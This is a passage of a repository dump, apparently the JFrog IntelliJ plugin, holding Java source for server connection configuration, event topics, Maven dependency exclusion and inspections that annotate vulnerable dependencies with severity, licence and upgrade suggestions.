setAccessToken(\"\");\n            return;\n        }\n\n        setUrl(platformUrlEnv);\n        String platformUrlStr = removeEnd(platformUrlEnv, \"/\");\n        if (isBlank(xrayUrlEnv)) {\n            setXrayUrl(platformUrlStr + \"/xray\");\n        } else {\n            setXrayUrl(xrayUrlEnv);\n        }\n        if (isBlank(artifactoryUrlEnv)) {\n            setArtifactoryUrl(platformUrlStr + \"/artifactory\");\n        } else {\n            setArtifactoryUrl(artifactoryUrlEnv);\n        }\n        if (isNotBlank(projectEnv)) {\n            setProject(projectEnv);\n        }\n        if (isNotBlank(accessTokenEnv)) {\n            setAccessToken(accessTokenEnv);\n        } else {\n            setUsername(usernameEnv);\n            setPassword(passwordEnv);\n        }\n    }\n\n    /**\n     * Read missing configuration from environment variables.\n     */\n    public void readMissingConfFromEnv() {\n        if (isBlank(getExternalResourcesRepo())) {\n            setExternalResourcesRepo(EnvironmentUtil.getValue(EXTERNAL_RESOURCES_REPO_ENV));\n        }\n    }\n\n    /**\n     * Read the connection details from JFrog CLI's config. The configuration is read by executing JFrog CLI.\n     * If no JFrog CLI server configuration was found or the config\n     * file is encrypt, do nothing.\n     *\n     * @return true if connection details loaded from JFrog CLI default server.\n     */\n    public boolean readConnectionDetailsFromJfrogCli() throws IOException {\n        JfrogCliDriver driver = new JfrogCliDriver(new HashMap<>(EnvironmentUtil.getEnvironmentMap()), null);\n        if (!driver.isJfrogCliInstalled()) {\n            return false;\n        }\n        JfrogCliServerConfig cliServerConfig = driver.getServerConfig();\n        String platformUrlCli = cliServerConfig.getUrl();\n        String xrayUrlCli = cliServerConfig.getXrayUrl();\n        String artifactoryUrlCli = cliServerConfig.getArtifactoryUrl();\n        String usernameCli = cliServerConfig.getUsername();\n        // jfrog-ignore\n        String passwordCli = cliServerConfig.getPassword();\n        // jfrog-ignore\n        String accessToken = cliServerConfig.getAccessToken();\n\n        if ((isAnyBlank(usernameCli, passwordCli) && isBlank(accessToken)) || isAnyBlank(platformUrlCli, xrayUrlCli, artifactoryUrlCli)) {\n            return false;\n        }\n        setUrl(platformUrlCli);\n        setXrayUrl(xrayUrlCli);\n        setArtifactoryUrl(artifactoryUrlCli);\n        setUsername(usernameCli);\n        setPassword(passwordCli);\n        setAccessToken(accessToken);\n        return true;\n    }\n\n    @Override\n    public String toString() {\n        return url;\n    }\n\n    public static class Builder {\n        private ConnectionType connectionType;\n        private String jfrogSettingsCredentialsKey = JFROG_SETTINGS_KEY;\n        private String url;\n        private String xrayUrl;\n        private String artifactoryUrl;\n        private String username;\n        private String password;\n        private String accessToken;\n        private String excludedPaths;\n        private PolicyType policyType;\n        private String project;\n        private String watches;\n        private int connectionRetries;\n        private int connectionTimeout;\n        private String externalResourcesRepo;\n        private String scannerBinaryVersion;\n\n        public ServerConfigImpl build() {\n            return new ServerConfigImpl(this);\n        }\n\n        public Builder setConnectionType(ConnectionType connectionType) {\n            this.connectionType = connectionType;\n            return this;\n        }\n\n        public Builder setUrl(String url) {\n            this.url = url;\n            return this;\n        }\n\n        public Builder setXrayUrl(String xrayUrl) {\n            this.xrayUrl = xrayUrl;\n            return this;\n        }\n\n        public Builder setArtifactoryUrl(String artifactoryUrl) {\n            this.artifactoryUrl = artifactoryUrl;\n            return this;\n        }\n\n        public Builder setUsername(@Nullable String username) {\n            this.username = username;\n            return this;\n        }\n\n        public Builder setPassword(@Nullable String password) {\n            // jfrog-ignore\n            this.password = defaultString(password);\n            return this;\n        }\n\n        public Builder setAccessToken(@Nullable String accessToken) {\n            // jfrog-ignore\n            this.accessToken = accessToken;\n            return this;\n        }\n\n        public Builder setExcludedPaths(@Nullable String excludedPaths) {\n            this.excludedPaths = excludedPaths;\n            return this;\n        }\n\n        public Builder setPolicyType(PolicyType policyType) {\n            this.policyType = policyType;\n            return this;\n        }\n\n        public Builder setProject(@Nullable String project) {\n            this.project = project;\n            return this;\n        }\n\n        public Builder setWatches(@Nullable String watches) {\n            this.watches = watches;\n            return this;\n        }\n\n        public Builder setConnectionRetries(int connectionRetries) {\n            this.connectionRetries = connectionRetries;\n            return this;\n        }\n\n        public Builder setConnectionTimeout(int connectionTimeout) {\n            this.connectionTimeout = connectionTimeout;\n            return this;\n        }\n\n        public Builder setExternalResourcesRepo(String externalResourcesRepo) {\n            this.externalResourcesRepo = externalResourcesRepo;\n            return this;\n        }\n\n        public Builder setScannerBinaryVersion(String scannerBinaryVersion) {\n            this.scannerBinaryVersion = scannerBinaryVersion;\n            return this;\n        }\n\n        public Builder setJFrogSettingsCredentialsKey(String jfrogSettingsCredentialsKey) {\n            this.jfrogSettingsCredentialsKey = jfrogSettingsCredentialsKey;\n            return this;\n        }\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/events/AnnotationEvents.java",
    "content": "package com.jfrog.ide.idea.events;\n\nimport com.intellij.util.messages.Topic;\n\npublic interface AnnotationEvents {\n    // Results expiry\n    Topic<AnnotationEvents> ON_IRRELEVANT_RESULT = Topic.create(\"Source code changed\", AnnotationEvents.class);\n\n    /**\n     * Called when the selected file is modified.\n     */\n    void update(String filePath);\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/events/ApplicationEvents.java",
    "content": "package com.jfrog.ide.idea.events;\n\nimport com.intellij.util.messages.Topic;\n\n/**\n * Application based events.\n * <p>\n * Created by romang on 3/5/17.\n */\npublic interface ApplicationEvents {\n    // Scan started\n    Topic<ApplicationEvents> ON_SCAN_LOCAL_STARTED = Topic.create(\"Local scan started\", ApplicationEvents.class);\n    Topic<ApplicationEvents> ON_SCAN_LOCAL_CANCELED = Topic.create(\"Local scan canceled\", ApplicationEvents.class);\n    Topic<ApplicationEvents> ON_SCAN_CI_STARTED = Topic.create(\"CI scan started\", ApplicationEvents.class);\n\n    // Configuration changed\n    Topic<ApplicationEvents> ON_CONFIGURATION_DETAILS_CHANGE = Topic.create(\"Configuration details changed\", ApplicationEvents.class);\n    Topic<ApplicationEvents> ON_BUILDS_CONFIGURATION_CHANGE = Topic.create(\"Builds configuration changed\", ApplicationEvents.class);\n\n    // Filter changed\n    Topic<ApplicationEvents> ON_CI_FILTER_CHANGE = Topic.create(\"CI issues changed\", ApplicationEvents.class);\n\n    /**\n     * Called when a scan started, a configuration changed or a filter changed.\n     */\n    void update();\n\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/events/BuildEvents.java",
    "content": "package com.jfrog.ide.idea.events;\n\nimport com.intellij.util.messages.Topic;\nimport com.jfrog.ide.common.ci.BuildGeneralInfo;\n\n/**\n * Project based events.\n *\n * @author yahavi\n */\npublic interface BuildEvents {\n    Topic<BuildEvents> ON_SELECTED_BUILD = Topic.create(\"Build selected\", BuildEvents.class);\n\n    /**\n     * Called when the selected build is modified.\n     */\n    void update(BuildGeneralInfo generalInfo);\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/events/ProjectEvents.java",
    "content": "package com.jfrog.ide.idea.events;\n\nimport com.intellij.util.messages.Topic;\nimport com.jfrog.ide.common.utils.ProjectsMap;\n\n/**\n * Project based events.\n *\n * @author yahavi\n */\npublic interface ProjectEvents {\n    Topic<ProjectEvents> ON_SCAN_CI_CHANGE = Topic.create(\"CI changed\", ProjectEvents.class);\n\n    /**\n     * Called when the store of issues in changed files is modified. It is modified only as a result of a user action to analyse all changed files.\n     */\n    void update(ProjectsMap.ProjectKey projectKey);\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/exclusion/Excludable.java",
    "content": "package com.jfrog.ide.idea.exclusion;\n\nimport com.intellij.openapi.project.Project;\n\n/**\n * Created by Bar Belity on 28/05/2020.\n */\npublic interface Excludable {\n\n    /**\n     * Exclude from project-descriptor.\n     */\n    void exclude(Project project);\n\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/exclusion/ExclusionUtils.java",
    "content": "package com.jfrog.ide.idea.exclusion;\n\nimport com.jfrog.ide.idea.navigation.NavigationTarget;\nimport org.jfrog.build.extractor.scan.DependencyTree;\n\n/**\n * Created by Bar Belity on 28/05/2020.\n */\npublic class ExclusionUtils {\n\n    /**\n     * Check if a specific node from the Dependencies-tree can be excluded from project-descriptor.\n     *\n     * @param nodeToExclude - The node in tree to exclude.\n     * @param affectedNode  - Direct dependency's node in tree which will be affected by the exclusion.\n     * @return true if the provided nodeToExclude can be excluded from project-descriptor.\n     */\n    public static boolean isExcludable(DependencyTree nodeToExclude, DependencyTree affectedNode) {\n        return MavenExclusion.isExcludable(nodeToExclude, affectedNode);\n    }\n\n    /**\n     * Get the corresponding Excludable object for the node to exclude.\n     *\n     * @param nodeToExclude    - The node in tree to exclude.\n     * @param navigationTarget - The navigation-target of the node to exclude.\n     * @return the corresponding Excludable object, Null if exclusion is not supported for this node.\n     */\n    public static Excludable getExcludable(DependencyTree nodeToExclude, DependencyTree affectedNode, NavigationTarget navigationTarget) {\n        if (MavenExclusion.isExcludable(nodeToExclude, affectedNode)) {\n            return new MavenExclusion(nodeToExclude, navigationTarget);\n        }\n        return null;\n    }\n\n    /**\n     * Find node's root project node.\n     * In single project tree - the root's parent is null.\n     * In multi project tree - the root-parent's general info is null.\n     * @param node - DependencyTree node to find its project's root.\n     * @return the project root node.\n     */\n    public static DependencyTree getProjectRoot(DependencyTree node) {\n        if (node == null) {\n            return null;\n        }\n        while (node.getParent() != null && ((DependencyTree) node.getParent()).getGeneralInfo() != null) {\n            node = (DependencyTree) node.getParent();\n        }\n        return node;\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/exclusion/MavenExclusion.java",
    "content": "package com.jfrog.ide.idea.exclusion;\n\nimport com.intellij.openapi.command.WriteCommandAction;\nimport com.intellij.openapi.project.Project;\nimport com.intellij.pom.Navigatable;\nimport com.intellij.psi.PsiElement;\nimport com.intellij.psi.PsiFile;\nimport com.intellij.psi.PsiManager;\nimport com.intellij.psi.xml.XmlFile;\nimport com.intellij.psi.xml.XmlTag;\nimport com.jfrog.ide.idea.inspections.MavenInspection;\nimport com.jfrog.ide.idea.navigation.NavigationTarget;\nimport org.jfrog.build.extractor.scan.DependencyTree;\n\n/**\n * Created by Bar Belity on 28/05/2020.\n */\npublic class MavenExclusion implements Excludable {\n\n    public static final String MAVEN_EXCLUSIONS_TAG = \"exclusions\";\n    public static final String MAVEN_EXCLUSION_TAG = \"exclusion\";\n    private final DependencyTree nodeToExclude;\n    private final NavigationTarget navigationTarget;\n\n    public MavenExclusion(DependencyTree nodeToExclude, NavigationTarget navigationTarget) {\n        this.nodeToExclude = nodeToExclude;\n        this.navigationTarget = navigationTarget;\n    }\n\n    /**\n     * Walk up the dependencies-tree to validate that the project's root is of type 'Maven'.\n     * This is required as dependency nodes in 'Gradle' projects are also of type 'Maven', and dependency nodes\n     * can have type 'null'.\n     * @param nodeToExclude - The node in tree to exclude.\n     * @param affectedNode - Direct dependency's node in tree which will be affected by the exclusion.\n     * @return true if nodeToExclude is a valid Maven node which can be excluded.\n     */\n    public static boolean isExcludable(DependencyTree nodeToExclude, DependencyTree affectedNode) {\n        if (nodeToExclude == null || nodeToExclude.equals(affectedNode)) {\n             return false;\n        }\n        return isMavenPackageType(ExclusionUtils.getProjectRoot(nodeToExclude));\n    }\n\n    public static boolean isMavenPackageType(DependencyTree node) {\n        return node != null && node.getGeneralInfo() != null && \"maven\".equals(node.getGeneralInfo().getPkgType());\n    }\n\n    @Override\n    public void exclude(Project project) {\n        PsiFile psiFile = PsiManager.getInstance(project).findFile(navigationTarget.getElement().getContainingFile().getVirtualFile());\n        if (!(psiFile instanceof XmlFile)) {\n            return;\n        }\n        XmlFile file = (XmlFile) psiFile;\n\n        WriteCommandAction.writeCommandAction(project, file).run(() -> {\n            String groupId = nodeToExclude.getGeneralInfo().getGroupId();\n            String artifactId = nodeToExclude.getGeneralInfo().getArtifactId();\n            if (!(navigationTarget.getElement() instanceof XmlTag)) {\n                return;\n            }\n            XmlTag xmlElement = (XmlTag) navigationTarget.getElement();\n            navigateToElement(xmlElement);\n            XmlTag exclusionsTag = xmlElement.findFirstSubTag(MAVEN_EXCLUSIONS_TAG);\n            if (exclusionsTag == null) {\n                exclusionsTag = xmlElement.createChildTag(MAVEN_EXCLUSIONS_TAG, \"\", \"\", false);\n                createAndAddExclusionTags(exclusionsTag, groupId, artifactId);\n                xmlElement.addSubTag(exclusionsTag, false);\n                return;\n            }\n\n            XmlTag[] allExclusions = exclusionsTag.findSubTags(MAVEN_EXCLUSION_TAG);\n            if (exclusionExists(allExclusions, groupId, artifactId)) {\n                // Don't create exclusion tag.\n                return;\n            }\n            createAndAddExclusionTags(exclusionsTag, groupId, artifactId);\n        });\n    }\n\n    boolean exclusionExists(XmlTag[] allExclusions, String groupId, String artifactId) {\n        for (XmlTag exclusionTag : allExclusions) {\n            XmlTag groupIdTag = exclusionTag.findFirstSubTag(MavenInspection.MAVEN_GROUP_ID_TAG);\n            if (groupIdTag == null || !groupId.equals(groupIdTag.getValue().getText())) {\n                continue;\n            }\n            XmlTag artifactIdTag = exclusionTag.findFirstSubTag(MavenInspection.MAVEN_ARTIFACT_ID_TAG);\n            if (artifactIdTag != null && artifactId.equals(artifactIdTag.getValue().getText())) {\n                return true;\n            }\n        }\n        return false;\n    }\n\n    void createAndAddExclusionTags(XmlTag exclusionsTag, String groupId, String artifactId) {\n        XmlTag exclusionTag = exclusionsTag.createChildTag(MAVEN_EXCLUSION_TAG, \"\", \"\", false);\n        XmlTag groupIdTag = exclusionTag.createChildTag(MavenInspection.MAVEN_GROUP_ID_TAG, \"\", groupId, false);\n        XmlTag artifactIdTag = exclusionTag.createChildTag(MavenInspection.MAVEN_ARTIFACT_ID_TAG, \"\", artifactId, false);\n        exclusionTag.addSubTag(groupIdTag, true);\n        exclusionTag.addSubTag(artifactIdTag, false);\n        exclusionsTag.addSubTag(exclusionTag, false);\n    }\n\n    private void navigateToElement(XmlTag xmlElement) {\n        PsiElement navigationTarget = xmlElement.getNavigationElement();\n        if (!(navigationTarget instanceof Navigatable)) {\n            return;\n        }\n        Navigatable navigatable = (Navigatable) navigationTarget;\n        if (navigatable.canNavigate()) {\n            navigatable.navigate(true);\n        }\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/inspections/AbstractInspection.java",
    "content": "package com.jfrog.ide.idea.inspections;\n\nimport com.google.common.collect.ArrayListMultimap;\nimport com.google.common.collect.Multimap;\nimport com.intellij.codeInspection.LocalInspectionTool;\nimport com.intellij.codeInspection.LocalQuickFix;\nimport com.intellij.codeInspection.ProblemHighlightType;\nimport com.intellij.codeInspection.ProblemsHolder;\nimport com.intellij.lang.annotation.AnnotationHolder;\nimport com.intellij.lang.annotation.Annotator;\nimport com.intellij.openapi.project.Project;\nimport com.intellij.openapi.vfs.VirtualFile;\nimport com.intellij.openapi.wm.ToolWindow;\nimport com.intellij.openapi.wm.ToolWindowManager;\nimport com.intellij.psi.PsiElement;\nimport com.jfrog.ide.common.nodes.DependencyNode;\nimport com.jfrog.ide.common.nodes.DescriptorFileTreeNode;\nimport com.jfrog.ide.common.nodes.SortableChildrenTreeNode;\nimport com.jfrog.ide.common.nodes.VulnerabilityNode;\nimport com.jfrog.ide.common.nodes.subentities.ImpactTree;\nimport com.jfrog.ide.idea.inspections.upgradeversion.UpgradeVersion;\nimport com.jfrog.ide.idea.navigation.NavigationService;\nimport com.jfrog.ide.idea.scan.ScannerBase;\nimport com.jfrog.ide.idea.ui.ComponentsTree;\nimport com.jfrog.ide.idea.ui.LocalComponentsTree;\nimport com.jfrog.ide.idea.utils.Descriptor;\nimport org.apache.commons.collections4.CollectionUtils;\nimport org.apache.commons.collections4.ListUtils;\nimport org.apache.commons.lang3.StringUtils;\n\nimport javax.swing.tree.TreeNode;\nimport java.util.*;\nimport java.util.stream.Collectors;\n\n/**\n * Parent class of all inspections and annotations.\n * The inspections are the \"Show in JFrog plugin\" action.\n * The annotations are the \"Top issue\" and \"Licenses\" labels.\n *\n * @author yahavi\n */\npublic abstract class AbstractInspection extends LocalInspectionTool implements Annotator {\n\n    private final String packageDescriptorName;\n    // True if the code inspection was automatically triggered after an Xray scan using InspectionEngine.runInspectionOnFile(...).\n    private boolean afterScan;\n\n    AbstractInspection(Descriptor descriptor) {\n        this.packageDescriptorName = descriptor.getFileName();\n    }\n\n    public void setAfterScan(boolean afterScan) {\n        this.afterScan = afterScan;\n    }\n\n    /**\n     * Get Psi element and decide whether to add \"Show in JFrog plugin\" option, and register a corresponding\n     * navigation from item in tree to item in project-descriptor.\n     *\n     * @param problemsHolder - The \"Show in JFrog plugin\" option will be registered in this container.\n     * @param element        - The Psi element in the package descriptor\n     * @param isOnTheFly     - True if the inspection was triggered by opening a package descriptor file.\n     *                       False if the inspection was triggered manually by clicking on \"Code | Inspect Code\".\n     */\n    void visitElement(ProblemsHolder problemsHolder, PsiElement element, boolean isOnTheFly) {\n        if (!afterScan && !isOnTheFly) {\n            // Code inspection was triggered manually by clicking on \"Code | Inspect Code\".\n            return;\n        }\n        String componentName = createComponentName(element);\n        if (StringUtils.isBlank(componentName)) {\n            return; // Failed creating the component name\n        }\n        List<DependencyNode> dependencies = getDependencies(element, componentName);\n        if (CollectionUtils.isEmpty(dependencies)) {\n            return;\n        }\n        NavigationService navigationService = NavigationService.getInstance(element.getProject());\n        for (DependencyNode dependency : dependencies) {\n            if (isOnTheFly) {\n                registerProblem(problemsHolder, dependency, element, componentName);\n            }\n            navigationService.addNavigation(dependency, element, componentName);\n        }\n    }\n\n    /**\n     * Get Psi element and decide whether to add licenses and top issue annotations.\n     *\n     * @param annotationHolder - The annotations will be registered in this container\n     * @param element          - The Psi element in the package descriptor\n     */\n    void visitElement(AnnotationHolder annotationHolder, PsiElement element) {\n        String componentName = createComponentName(element);\n        if (componentName == null) {\n            return; // Failed creating the component name\n        }\n        List<DependencyNode> dependencies = getDependencies(element, componentName);\n        if (CollectionUtils.isNotEmpty(dependencies)) {\n            AnnotationUtils.registerAnnotation(annotationHolder, dependencies.get(0), element, showAnnotationIcon(element));\n        }\n    }\n\n    /**\n     * Get the relevant scan manager according to the project type and path.\n     *\n     * @param project - The Project\n     * @param path    - Path to project\n     * @return ScanManager\n     */\n    abstract ScannerBase getScanner(Project project, String path);\n\n    /**\n     * Return true if and only if the Psi element is a dependency.\n     *\n     * @param element - The Psi element in the package descriptor.\n     * @return true if and only if the Psi element is a dependency\n     */\n    abstract boolean isDependency(PsiElement element);\n\n    /**\n     * Create a component name from the Psi element. Called when isDependency(element) == true.\n     *\n     * @param element - The Psi element in the package descriptor\n     * @return GeneralInfo\n     */\n    abstract String createComponentName(PsiElement element);\n\n    /**\n     * Get the file descriptors nodes that containing the dependency in the Psi element.\n     *\n     * @param element - The Psi element in the package descriptor\n     * @return Set of file nodes containing the dependency or null if not found\n     */\n    Set<DescriptorFileTreeNode> getFileDescriptors(PsiElement element) {\n        Project project = element.getProject();\n        ComponentsTree componentsTree = LocalComponentsTree.getInstance(project);\n        if (componentsTree == null || componentsTree.getModel() == null) {\n            return null;\n        }\n        Set<DescriptorFileTreeNode> fileDescriptors = new HashSet<>();\n        Enumeration<TreeNode> roots = ((SortableChildrenTreeNode) componentsTree.getModel().getRoot()).children();\n        for (TreeNode root : Collections.list(roots)) {\n            if (root instanceof DescriptorFileTreeNode fileNode) {\n                if (fileNode.getFilePath().equals(element.getContainingFile().getVirtualFile().getPath())) {\n                    fileDescriptors.add(fileNode);\n                }\n            }\n        }\n        return fileDescriptors;\n\n    }\n\n    /**\n     * Override this method to determine whether to display multiple annotation icons in the same line.\n     *\n     * @param element - The Psi element in the package descriptor\n     * @return true if it should show annotation icon.\n     */\n    boolean showAnnotationIcon(PsiElement element) {\n        return true;\n    }\n\n    /**\n     * Determine whether to apply the inspection on the Psi element.\n     *\n     * @param element - The Psi element in the package descriptor\n     * @return true if and only if the element is a dependency and the plugin is ready to show inspection for it\n     */\n    boolean isShowInspection(PsiElement element) {\n        Project project = element.getProject();\n\n        ToolWindow toolWindow = ToolWindowManager.getInstance(project).getToolWindow(\"JFrog\");\n        if (toolWindow == null) {\n            return false; // Tool window not yet activated\n        }\n\n        VirtualFile editorFile = element.getContainingFile().getVirtualFile();\n        if (editorFile == null || editorFile.getParent() == null || !editorFile.getPath().endsWith(packageDescriptorName)) {\n            return false; // File is not a package descriptor file\n        }\n\n\n        ScannerBase scanner = getScanner(project, editorFile.getParent().getPath());\n        if (scanner == null) {\n            return false; // Scan manager for this project not yet created\n        }\n        return isDependency(element);\n    }\n\n    /**\n     * Get all dependencies in the tree that relevant to the element.\n     *\n     * @param element - The Psi element in the package descriptor\n     * @return all dependencies in the dependency tree that relevant to the element\n     */\n    List<DependencyNode> getDependencies(PsiElement element, String componentName) {\n        if (!isShowInspection(element)) {\n            return null; // Inspection is not needed for this element\n        }\n        Set<DescriptorFileTreeNode> filesNodes = getFileDescriptors(element);\n        if (filesNodes == null) {\n            return null; // No files descriptors found for this element\n        }\n        return filesNodes.stream()\n                .map(descriptorFile -> getMatchDependencies(descriptorFile, componentName))\n                .flatMap(Collection::stream)\n                .collect(Collectors.toList());\n    }\n\n    /**\n     * Get the dependencies that match to the input componentName.\n     *\n     * @param file          - The Descriptor file node in the tree\n     * @param componentName - Component name representing a dependency without version\n     * @return the dependencies node that match to the input general info\n     */\n    private List<DependencyNode> getMatchDependencies(DescriptorFileTreeNode file, String componentName) {\n        List<DependencyNode> dependencies = new ArrayList<>();\n        for (DependencyNode dependency : file.getDependencies()) {\n            if (isNodeMatch(dependency, componentName)) {\n                dependencies.add(dependency);\n            }\n        }\n        return dependencies;\n    }\n\n    /**\n     * Compare the component name from the Psi element and the dependency node from the Dependency tree.\n     *\n     * @param node          - the dependency node from the dependency tree\n     * @param componentName - Component name representing a dependency without version\n     * @return true if the node matches the component name\n     */\n    boolean isNodeMatch(DependencyNode node, String componentName) {\n        String artifactID = node.getComponentIdWithoutPrefix();\n        ImpactTree impactTree = node.getImpactTree();\n        String versionPrefix = \":\";\n        return StringUtils.equals(extractArtifactIdWithoutVersion(artifactID), componentName) || impactTree.contains(componentName+versionPrefix);\n    }\n\n    abstract UpgradeVersion getUpgradeVersion(String componentName, String fixVersion, Collection<String> issues, String descriptorPath);\n\n    void registerProblem(ProblemsHolder problemsHolder, DependencyNode dependency, PsiElement element, String componentName) {\n        boolean isTransitive = dependency.isIndirect() || !StringUtils.contains(dependency.getTitle(), componentName);\n        String dependencyDescription = getDependencyDescription(dependency.getTitle(), isTransitive);\n        List<LocalQuickFix> quickFixes = new ArrayList<>();\n        quickFixes.add(new ShowInDependencyTree(dependency, dependencyDescription));\n\n        if (!isTransitive) {\n            Multimap<String, String> fixVersionToCves = ArrayListMultimap.create();\n            dependency.children().asIterator().forEachRemaining(issueNode -> {\n                List<String> fixVersionStrings = ListUtils.emptyIfNull(((VulnerabilityNode) issueNode).getFixedVersions());\n                for (String fixVersionString : fixVersionStrings) {\n                    String fixVersion = convertFixVersionStringToMinFixVersion(fixVersionString);\n                    fixVersionToCves.put(fixVersion, issueNode.toString());\n                }\n            });\n\n            String descriptorPath = element.getContainingFile().getVirtualFile().getPath();\n            fixVersionToCves.asMap().forEach((fixedVersion, issues) -> {\n                UpgradeVersion upgradeVersion = getUpgradeVersion(dependency.getArtifactId(), fixedVersion, issues, descriptorPath);\n                quickFixes.add(upgradeVersion);\n            });\n        }\n\n        problemsHolder.registerProblem(\n                element,\n                \"JFrog: \" + dependencyDescription + \" has security vulnerabilities\",\n                ProblemHighlightType.WARNING,\n                quickFixes.toArray(LocalQuickFix[]::new)\n        );\n    }\n\n    private String getDependencyDescription(String depComponent, boolean isTransitive) {\n        String description = \"dependency <\" + depComponent + \">\";\n        if (isTransitive) {\n            description = \"transitive \" + description;\n        }\n        return description;\n    }\n\n    protected static String convertFixVersionStringToMinFixVersion(String fixVersionString) {\n        // Possible fix version string formats:\n        // 1.0        >> 1.0\n        // (,1.0]     >> N/A\n        // (,1.0)     >> N/A\n        // [1.0]      >> 1.0\n        // (1.0,)     >> N/A\n        // (1.0, 2.0) >> N/A\n        // [1.0, 2.0] >> 1.0\n        String fixVersion = fixVersionString.trim().split(\",\")[0];\n        if (fixVersion.charAt(0) == '(') {\n            // If first character is '(' then we can't tell what's the minimal fix version\n            return \"\";\n        }\n        fixVersion = StringUtils.strip(fixVersion, \"[\");\n        fixVersion = StringUtils.strip(fixVersion, \"]\");\n        return fixVersion;\n    }\n\n\n    private String extractArtifactIdWithoutVersion(String artifact) {\n        int versionIndex = artifact.lastIndexOf(':');\n\n        if (versionIndex != -1) {\n           return artifact.substring(0, versionIndex);\n        } else {\n            return artifact;\n        }\n    }\n    }"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/inspections/AnnotationIconRenderer.java",
    "content": "package com.jfrog.ide.idea.inspections;\n\nimport com.intellij.openapi.actionSystem.AnAction;\nimport com.intellij.openapi.actionSystem.AnActionEvent;\nimport com.intellij.openapi.editor.markup.GutterIconRenderer;\nimport com.intellij.openapi.project.Project;\nimport com.intellij.util.ui.tree.TreeUtil;\nimport com.jfrog.ide.common.nodes.subentities.Severity;\nimport com.jfrog.ide.idea.ui.LocalComponentsTree;\nimport com.jfrog.ide.idea.ui.utils.IconUtils;\nimport com.jfrog.ide.idea.utils.Utils;\nimport org.apache.commons.lang3.StringUtils;\nimport org.jetbrains.annotations.NotNull;\nimport org.jetbrains.annotations.Nullable;\n\nimport javax.swing.*;\nimport javax.swing.tree.DefaultMutableTreeNode;\nimport java.util.Objects;\n\n/**\n * Represents the icon near the dependencies in the package descriptor file.\n *\n * @author yahavi\n **/\npublic class AnnotationIconRenderer extends GutterIconRenderer {\n    private final DefaultMutableTreeNode node;\n    private final String tooltipText;\n    private final Icon icon;\n    private Project project;\n\n    public AnnotationIconRenderer(DefaultMutableTreeNode node, Severity severity, String tooltipText) {\n        this.node = node;\n        this.tooltipText = tooltipText;\n        this.icon = IconUtils.load(StringUtils.lowerCase(severity.toString()));\n    }\n\n    public void setProject(Project project) {\n        this.project = project;\n    }\n\n    @Override\n    public boolean equals(Object obj) {\n        if (!(obj instanceof AnnotationIconRenderer)) {\n            return false;\n        }\n        return Objects.equals(icon, ((AnnotationIconRenderer) obj).getIcon());\n    }\n\n    @Override\n    public int hashCode() {\n        return Objects.hashCode(icon);\n    }\n\n    @Override\n    public @NotNull Icon getIcon() {\n        return icon;\n    }\n\n    @Override\n    public @Nullable String getTooltipText() {\n        return tooltipText;\n    }\n\n    @Override\n    public @Nullable AnAction getClickAction() {\n        return new AnAction() {\n            @Override\n            public void actionPerformed(@NotNull AnActionEvent e) {\n                Utils.focusJFrogToolWindow(project);\n                TreeUtil.selectInTree(project, node, true, LocalComponentsTree.getInstance(project), true);\n            }\n        };\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/inspections/AnnotationUtils.java",
    "content": "package com.jfrog.ide.idea.inspections;\n\nimport com.intellij.lang.annotation.AnnotationBuilder;\nimport com.intellij.lang.annotation.AnnotationHolder;\nimport com.intellij.psi.PsiElement;\nimport com.jfrog.ide.common.nodes.DependencyNode;\nimport com.jfrog.ide.common.nodes.subentities.License;\n\nimport java.util.List;\nimport java.util.stream.Collectors;\n\nimport static com.intellij.lang.annotation.HighlightSeverity.INFORMATION;\n\n/**\n * @author yahavi\n */\npublic class AnnotationUtils {\n\n    /**\n     * Register \"Top issue\" and \"Licenses\" annotations.\n     *\n     * @param annotationHolder - The annotations will be registered in this container\n     * @param dependency       - The dependency tree node correlated to the element\n     * @param element          - The element to apply the annotations\n     * @param showIcon         - True if should add annotation icon\n     */\n    static void registerAnnotation(AnnotationHolder annotationHolder, DependencyNode dependency, PsiElement element, boolean showIcon) {\n        String licensesString = getLicensesString(dependency);\n        String topIssue = getTopIssueString(dependency);\n        AnnotationIconRenderer iconRenderer = showIcon ? new AnnotationIconRenderer(dependency, dependency.getSeverity(), topIssue) : null;\n        try {\n            AnnotationBuilder builder = annotationHolder.newAnnotation(INFORMATION, topIssue).range(element);\n            if (showIcon) {\n                iconRenderer.setProject(element.getProject());\n                builder = builder.gutterIconRenderer(iconRenderer);\n            }\n            builder.create();\n            annotationHolder.newAnnotation(INFORMATION, licensesString).range(element).create();\n        } catch (IllegalArgumentException e) {\n            // Exception is thrown when the element we register the annotation for is out of bound of the\n            // containing element exists in the provided annotationHolder.\n            // This scenario may occur during a gradle-inspections.\n        }\n    }\n\n    /**\n     * Get the top issue string.\n     *\n     * @param node - The dependency tree node\n     * @return the top issue string\n     */\n    private static String getTopIssueString(DependencyNode node) {\n        return \"Top issue severity: \" + node.getSeverity();\n    }\n\n    /**\n     * Get licenses string\n     *\n     * @param node - The dependency tree node\n     * @return licenses string\n     */\n    private static String getLicensesString(DependencyNode node) {\n        String results = \"Licenses: \";\n        List<String> licensesStrings = node.getLicenses().stream().map(License::getName).collect(Collectors.toList());\n        if (licensesStrings.isEmpty()) {\n            return results + \"Unknown\";\n        }\n        return results + String.join(\", \", licensesStrings);\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/jfrog/ide/idea/inspections/GoInspection.java",
